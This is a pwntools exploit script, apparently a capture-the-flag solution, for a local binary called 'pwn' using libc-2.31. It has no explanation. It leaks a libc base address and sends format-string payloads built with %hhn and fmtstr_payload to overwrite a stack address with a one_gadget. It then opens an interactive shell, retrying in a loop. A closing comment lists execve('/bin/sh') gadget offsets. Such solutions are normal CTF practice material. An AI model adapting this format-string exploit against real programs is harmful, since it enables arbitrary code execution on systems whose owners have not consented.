1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
|
from pwn import* context.log_level='debug' context.arch = "amd64"
def exp(): p=process("./pwn") elf=ELF("./pwn") libc=ELF("./libc-2.31.so")
p.sendafter("Login:",b'a'*0x18)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym["_IO_2_1_stderr_"]
ogg=libc_base+0xe6af1 system=libc_base+libc.sym["system"] puts_got=elf.got["puts"]
print("libc_base = ",hex(libc_base)) print("one_gadget = ",hex(ogg)) print("puts_got = ",hex(puts_got))
gdb.attach(p) payload = f"%{0x90}c%{0x10 + 6}$hhn".encode() payload += f"|%{0x10 + 6}$lld|%{0x11 + 6}$lld|".encode() payload = payload.ljust(0x70, b"\x00") payload += b"\x38"
p.sendafter("Content:",payload)
p.recvuntil(b"|") stack_addr = int(p.recvuntil(b"|", drop=True)) start_addr = int(p.recvuntil(b"|", drop=True))
log.success(hex(stack_addr)) log.success(hex(start_addr))
payload2 = fmtstr_payload(8,{stack_addr: p64(ogg),},write_size="short",)
p.sendafter("Login:",b'a'*0x18) p.sendafter("Content:",payload2)
p.interactive()
while True: try: exp() except: pass
''' 0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
|